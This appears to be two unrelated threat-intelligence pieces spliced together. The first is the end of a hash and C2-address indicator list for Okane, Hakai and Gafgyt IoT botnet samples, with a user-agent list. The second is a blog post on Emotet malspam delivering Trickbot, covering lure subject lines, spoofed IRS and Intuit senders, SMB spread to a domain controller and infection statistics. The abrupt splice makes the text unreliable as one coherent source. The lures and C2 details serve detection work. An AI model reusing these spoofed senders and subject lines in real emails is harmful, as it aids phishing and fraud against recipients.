bd89be28ddecca983cc91835febce818a1f09bda471399b031f99c5278169344
bf94315a9591d77ee2d08823afaeaf7e45133d4af2d3c3ce4086aff371f248d2
c02a7a06f77bad974acd6bc193e1cb7dc73a009317f1044d202593dc3b0a67cf
c42bdc0d7bbdf9a74db9233010f2b04ca14e0864119a1c98d6c8a7a63574791c
c659709cbea976692e4be58f1f04d99127b55325f404c63525fb9ab575a66b2d
c750d1ad0d5f5d7dda2ab8dba33fa49ef1c636905abab364a70db44ab8035ab6
cfd33c0bcb7001c56a8e9438c1a5d6b34c6bdd7a2404c2fe0cdfea00abdf355a
d15d46b4d9d826bcf8cb0b43fa1f7e874708db9bb068c3aff27daa7193b51fd7
d2655773f812887da069965ad8113501aeb0a0e26aa27faa9a1469fd510ceb3c
dacdf9b548f123482f5ecc2a29d2d156021bdab250a933ace9aee140041b9abb
dbdffabc13a70a41188900620569266b5774deb007e0ef6dc63ff16ce72b4595
dcfae13f567ea01c872db539c5d89448ebde2debe46421eccf752d4e20298c58
e0ddec27709ec513886a217009f55994ddf61f58887774d6403ec18d5612d9e6
e8782c38fc7c148be589a3c44f915719378840ddbf709fd48932797609f8daf2
ec1fdb298556406d75506a234562f60ae517569963a317741dd4bd90680fb4ad
edf32e6317253a323c4e815485ff4b97c4e0af268be8d78c9c0e48ac87e52e55
f390995777d4cad93854e4030b8bc33d2405c7ddd548da5e00a589b9e7afd722

 

Okane related IPs/URLs
46[.]243.189.101
142[.]129.169.83:5888

 

Okane Multi-exploit samples fetching payload from 1.1.1.1
25763b7871c0be5dc9a3ffa4abb4fce308297baf14c0389a70336b429b0c7c39
7bde2df856061806a1a7294b780bfbcf1439ec0f9dbb4d6495c7c0d5873505d5
fca262afd92ec24af4370c664b68f453c3f97f3555ab37178ec80bbaebf7dfa6

 

Okane Multi-exploit samples using attack_method_tcpxmas and attack_method_std
0e7d4fa178b78cbfd0eaea910a53c7b933590764b72a93cd54f5823076869ab5
320ed65d955bdde8fb17a35024f7bd978d26c041de1ddcf8a592974f77d82401
5eef17f59d2c3d88d08da8d07dcca13e4225d800fce7a7fed5504e789008dc17
692b3b9ea76447447b11655711cdd22040972b1903749fe49b478ec92cdd4f7a
a0d7592cfcd469e10a9ca463780737c76d3e61c5b750345998b18721b3565f0d
a36adfa5ecec9ad5429c817de3fbece20d1b526c116d2bfccd9366aabacc2c32
c42bdc0d7bbdf9a74db9233010f2b04ca14e0864119a1c98d6c8a7a63574791c
d15d46b4d9d826bcf8cb0b43fa1f7e874708db9bb068c3aff27daa7193b51fd7

 

Okane sample without exploits using several additional DDoS methods
0ea858e747863f2c94eda3f28167951ad8cafca2cb0be1c247d01a53fb7e56e0
be1d722af56ba8a660218a8311c0482c5b2d096ba91485e7d9dfc12a2b8e00b3

 

Hakai samples
0f5b814308193064bc4ece4266def5c1baecc491117f07650c5117762648d4c5
46625884d4cc5ec9ca32221e90f3c187ef7d713fbabe8e33cad843587c0911e0
721da99e8789cdcb73db87353e2be7b82c9158e2929b9eaa7d5b4660b6d4d1e2
76a2853701ab4a8d989f383857d0d4cb8d6a7df38d543d4cb06a02079acb74c2
7e8280387887f27461f2ed758a401daf49e27342c684f199751391bfb83f438d
c959e580c4709c8aa304ffe5b3ab4ccfbdb3327b695cf5f8b4d27591664579f7
d248c1ce41d474de0ea05b34d721271c53a861e06d355e4e6e83a8955c7bbc0a
d669388681bb8d17aa2d5ee1f943ae5e8ad8729d88c78ec86b10fe51a4701c43
f05e731a3dca8868af3a05ae4867a39f397e0d54221229c0be74c8a20d00e364

 

Hakai URLs/IPs
hakaiboatnet[.]pw
178[.]128.185.250

 

Gafgyt HTTPCF samples
1eec1ef48d93106f3f00b4d4868b32a3ca8ca8da9a0852ef81a9e9226206362b
385ba7fcf276fb0b469defac7762908921df820c550e98abadec725f455b76fe
5c797cd7faf5061a75c68cc8f658c7daab94c223f523bfca0a28ba2620b1cd9f
8339dc35688574b33b523234ba76fee56d57b369c9c0292644ec2a0cf798244d
a5fe23186c95bfa9e5df8b3fb28a1922a1e820b8f51401d9042542e18f9aaec1
c12132f341d19c386a617ff2a607df35648ab6f17106608a575d086fadfe3a04
c159087ee8af27685a6b46b18cb59dfbcff85a165cd308c5d617eb3f8166b328
e949a6429530b8b6876073dc025a0cda0d6311a6dc15fcb72b24a3fe6cb86529
fe0c3682dac042b8cb92e731ace80660d7722782c1c5551ec2a18e747788c73d

APPENDIX

User-Agents used by Gafgyt HTTPCF samples
MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1
Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000
Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0
MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0
SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19
Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62
Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01
Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100
BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1
Doris/1.15 [en] (Symbian)
Bunjalloo/0.7.6(Nintendo DS;U;en)
PSP (PlayStation Portable); 2.00
Mozilla/4.0 (PSP (PlayStation Portable); 2.00)
wii libnup/1.0
Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2
Mozilla/5.0 (PLAYSTATION 3; 3.55)
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7
Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)
Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2
Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911
Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201
Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4
Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)
Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0

Malware Team Up: Malspam Pushing Emotet + Trickbot

Posted on by Brad Duncan

Emotet and Trickbot are information stealers targeting Windows-based computers, and they are best known as banking malware. Each are typically distributed through separate distinct malicious spam (malspam) campaigns. However, we occasionally see both types of malware retrieved during a single infection chain. This Emotet+Trickbot combination doubles the danger for any vulnerable Windows host.
As 2018 progresses, Trickbot is still sent through its own malspam campaigns, but we continue to find examples of Trickbot using Emotet as an alternate distribution method. Most writeups about Emotet and Trickbot focus on individual malware characteristics, and they do little to paint a complete picture of a successful infection chain.
This blog post examines Emotet malspam so far in 2018, and we take a closer look at a Emotet infection traffic featuring Trickbot.
 
Similarities
Although Emotet and Trickbot are from different malware families, they have some similarities. Both are information stealers that can load additional modules for functions like spamming or worm-based propagation. And for the last year or so, both have been distributed through malspam using Microsoft Word documents as the initial infection vector.
 
Emotet
Emotet was first reported in the summer of 2014 as banking malware, but has since evolved. By 2017, various sources reported Emotet acting as a loader for other malware like Dridex. One source reported Emotet loading Trickbot, so this most recent combination is not without precedent.
In 2018, Emotet infection traffic usually revealed the IcedID banking Trojan or Zeus Panda Banker as the follow-up malware. In June 2018, I started posting examples of Emotet infection traffic with Trickbot as its follow-up malware. We have also seen spambot malware as the follow-up malware, where the infected Windows host sends out more Emotet malspam.
An Emotet infection currently starts with a malicious macro in a Word document. Macros are disabled by default in Microsoft Office. If a user ignores security warnings and enables macros macros on a vulnerable Windows host, the malicious Word document starts an infection chain. These macro are designed to retrieve Emotet malware from compromised servers to infect a victm's computer.
Malspam pushing Emotet uses one of the two standard methods to deliver the initial Word document:

  1. Victims retrieve the initial Word document from a link in the email .
  2. The Word document is directly attached to a recipient's email without any links.

Emotnet_1

Figure 1: Emotet infection chains so far in 2018.


Trickbot
Trickbot first appeared in the fall of 2016 and was initially described as the successor to Dyreza, another credential stealer. Trickbot is a modular malware with additional functions like an email spammer. Its most notable function is lateral movement. By July 2017, Trickbot added an SMB-based worm propagation module, but had not yet included an exploit.
Since June 2018, I have posted examples of Trickbot infection traffic with SMB propagation on malware-traffic-analysis.net, showing Trickbot moving from an infected Windows client to a vulnerable Active Directory (AD) domain controller. Trickbot's lateral movement over SMB is distinctly different than WannaCry's implementation of EternalBlue noted in 2017, so this method of SMB propagation appears to be based on a different exploit developed by Trickbot authors.
Trickbot normally has its own malspam-based distribution channel, but now Trickbot attackers are also using Emotet for their infections.
 
Emotet Distribution
On the week starting Monday, June 11th 2018, we saw a great deal of IRS-themed malspam pushing Emotet to recipients in the United States. IRS was not the only theme, but it was by far the most prominent. In the days leading up to July 4th 2018, we also saw Independence Day-themed malspam pushing Emotet to recipients in the United States.
The following are some examples of spoofed senders and subject lines we have seen for recent malspam pushing Emotet since June 11th, 2018.
Spoofed senders:

  • From: [various spoofed sender names and email addresses]
  • From: Internal Revenue Service <[spoofed email address]>
  • From: Internal Revenue Service Online <[spoofed email address]>
  • From: Internal Revenue Service Online Center <[spoofed email address]>
  • From: IRS <[spoofed email address]>
  • From: IRS <irsonline@treasury.gov> <[spoofed email address]>
  • From: IRS <Press@treasury.gov> <[spoofed email address]>
  • From: IRS <Transcript@treasury.gov> <[spoofed email address]>
  • From: IRS Online Center <[spoofed email address]>
  • From: IRS.gov <[spoofed email address]>
  • From: Intuit <[spoofed email address]>
  • From: Intuit Online Payroll Support Team <[spoofed email address]>
  • From: Intuit Payroll <[spoofed email address]>
  • From: Intuit Payroll Services <[spoofed email address]>

Subject lines:

  • Subject: 4th of July congratulation
  • Subject: 4th of July eCard
  • Subject: 4th of July Greeting eCard
  • Subject: Happy 4th of July Greeting Message
  • Subject: Record of Account Transcript from June 14, 2018
  • Subject: Tax Account Transcript from June 14, 2018
  • Subject: The Fourth of July wishes
  • Subject: Verification of Non-filing Letter
  • Subject: Verification of Non-filing Letter from 06/15/2018
  • Subject: Wage and Income Transcript
  • Subject: 0335363294
  • Subject: 2142 Payroll Summary
  • Subject: 3291 Payroll Summary
  • Subject: ACCOUNT#94895547-Milan Marsic
  • Subject: Engr. Abdul Rauf Invoice 8288592
  • Subject: Invoice 897614 from Patrick Bingham
  • Subject: Invoices Overdue
  • Subject: IRS Record of Account Transcript
  • Subject: IRS Record of Account Transcript from 06/14/2018
  • Subject: IRS Record of Account Transcript from 06/15/2018
  • Subject: IRS Record of Account Transcript from June 14, 2018
  • Subject: IRS Record of Account Transcript from June 15, 2018
  • Subject: IRS Tax Return Transcript from 06/12/2018
  • Subject: IRS Tax Return Transcript from June 11, 2018
  • Subject: IRS Tax Account Transcript
  • Subject: IRS Tax Account Transcript from 06/15/2018
  • Subject: IRS Tax Account Transcript from June 15, 2018
  • Subject: IRS Tax Return Transcript
  • Subject: IRS Verification of Non-filing Letter
  • Subject: IRS Verification of Non-filing Letter from 06/11/2018
  • Subject: IRS Verification of Non-filing Letter from 06/12/2018
  • Subject: IRS Verification of Non-filing Letter from June 11, 2018
  • Subject: IRS Verification of Non-filing Letter from June 14, 2018
  • Subject: IRS Wage and Income Transcript
  • Subject: IRS Wage and Income Transcript from 06/14/2018
  • Subject: IRS Wage and Income Transcript from June 11, 2018
  • Subject: IRS Wage and Income Transcript from June 15, 2018
  • Subject: New Invoice / WM2708 / RP# 09648
  • Subject: New Payroll Co.
  • Subject: NYPXV7-16497063849
  • Subject: Pay Invoice
  • Subject: Payment
  • Subject: Payroll Tax Payment
  • Subject: Scott Crowe The 4th of July Greeting eCard

 
Each of these emails has had either an attached Word document or a link to download the Word document.
Emotnet_2

Figure 2: Emotet Word document distributed through a link in the malspam.

Emotnet_3

Figure 3: Emotet Word document distributed as an attached file.

 
Emotet Levels Jump Drastically Starting in May 2018
Autofocus shows an increasing trend in Emotet malspam during the past year, with a very sharp jump in Emotet Word documents beginning in May 2018. Below are graphs for verified hits on Emotet from links or as attachments. Link hits are the number of times we verified requests for URLs to download an Emotet Word document. Attachment hits are the number of emails seen with an Emotet Word document attached to the message.
Emotnet_4

Figure 4: Hits for Emotet Word documents from May 2017 through May 2018.

Emotnet_5

Figure 5: Hits for Emotet Word documents in May 2018.

Emotet Infection in an Active Directory Environment
My blog post from malware-traffic-analysis.net on June 15th 2018 provides an example of infection traffic from Emotet malspam. This analysis was done in an Active Directory (AD) environment with a domain controller running an unpatched version Windows Server 2008 R2. The Windows client was running an unpatched version of Windows Professional 7 Service Pack 1.
 
Emotnet_6

Figure 6: A successful Emotet + Trickbot infection chain in an AD environment.

Emotnet_7

Figure 7: Traffic from the infection filtered in Wireshark.

Figure 7 shows the initial infection traffic from Emotet on a Windows client at 192.168.200.95, followed by Trickbot infection traffic on the same host.
Trickbot propagated from the Windows client to the vulnerable domain controller on 192.168.200.4 via SMB. Approximately 20 minutes later, the vulnerable AD domain controller shows signs of a Trickbot infection.
Figure 8 shows traffic where Trickbot was sent to the domain controller at 192.168.200.4.
 
Emotnet_8

Figure 8: SMB traffic in Wireshark where Trickbot was sent to the domain controller.

Conclusion
This activity combines the increasing amount of mass distribution for Emotet with the lateral movement capabilities of Trickbot. An Emotet+Trickbot combination represents a more potent infection, and it doubles the danger for any vulnerable Windows host.
Organizations with decent spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our threat prevention platform detects both Emotet and Trickbot malware. AutoFocus users can track this activity using the Emotet and Trickbot tags.
We will continue to investigate this activity for applicable indicators to further inform the community and enhance our threat prevention platform.
 
Appendix A
Hits for Emotet Word documents from May 2017 through May 2018:
Month/Year: Links - Attachments - Total

  • May 2017: 8,423 - 1,421 - 9,844
  • Jun 2017: 1,154 - 173 - 1,327
  • Jul 2017: 2,868 - 390 - 3,258
  • Aug 2017: 3,273 - 3,803 - 7,076
  • Sep 2017: 4,650 - 2,211 - 6,861
  • Oct 2017: 9,289 - 3,407 - 12,696
  • Nov 2017: 10,676 - 1,737 - 12,413
  • Dec 2017: 10,499 - 217 - 10,716
  • Jan 2018: 5,287 - 2 - 5,289
  • Feb 2018: 16,637 - 265 - 16,902
  • Mar 2018: 29,801 - 2,680 - 32,481
  • Apr 2018: 6,138 - 3,533 - 9,671
  • May 2018: 13,150 - 289,308 - 302,458

 
Appendix B
Hits for Emotet Word documents in May 2018:
Date: Links - Attachments - Total

  • 2018-05-01: 383 - 0 - 383
  • 2018-05-02: 45 - 437 - 482
  • 2018-05-03: 43 - 150 - 193
  • 2018-05-04: 41 - 604 - 645
  • 2018-05-05: 38 - 0 - 38
  • 2018-05-06: 36 - 0 - 36
  • 2018-05-07: 218 - 711 - 929
  • 2018-05-08: 476 - 9 - 485
  • 2018-05-09: 65 - 1 - 66
  • 2018-05-10: 155 - 957 - 1,112
  • 2018-05-11: 47 - 25 - 72
  • 2018-05-12: 26 - 0 - 26
  • 2018-05-13: 45 - 5 - 50
  • 2018-05-14: 350 - 19 - 369
  • 2018-05-15: 1,274 - 325 - 1,599
  • 2018-05-16: 1,119 - 10,929 - 12,048
  • 2018-05-17: 746 - 19,311 - 20,057
  • 2018-05-18: 386 - 27,437 - 27,823
  • 2018-05-19: 61 - 270 - 331
  • 2018-05-20: 60 - 234 - 294
  • 2018-05-21: 1,632 - 9,098 - 10,730
  • 2018-05-22: 381 - 4,656 - 5,037
  • 2018-05-23: 920 - 7,050 - 7,970
  • 2018-05-24: 536 - 5,169 - 5,705
  • 2018-05-25: 481 - 4,206 - 4,687
  • 2018-05-26: 78 - 134 - 212
  • 2018-05-27: 171 - 743 - 914
  • 2018-05-28: 734 - 13,105 - 13,839
  • 2018-05-29: 1,678 - 35,909 - 37,587
  • 2018-05-30: 566 - 109,409 - 109,975
  • 2018-05-31: 359 - 38,405 - 38,764
  • Totals: 13,150 - 289,308 - 302,458
Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow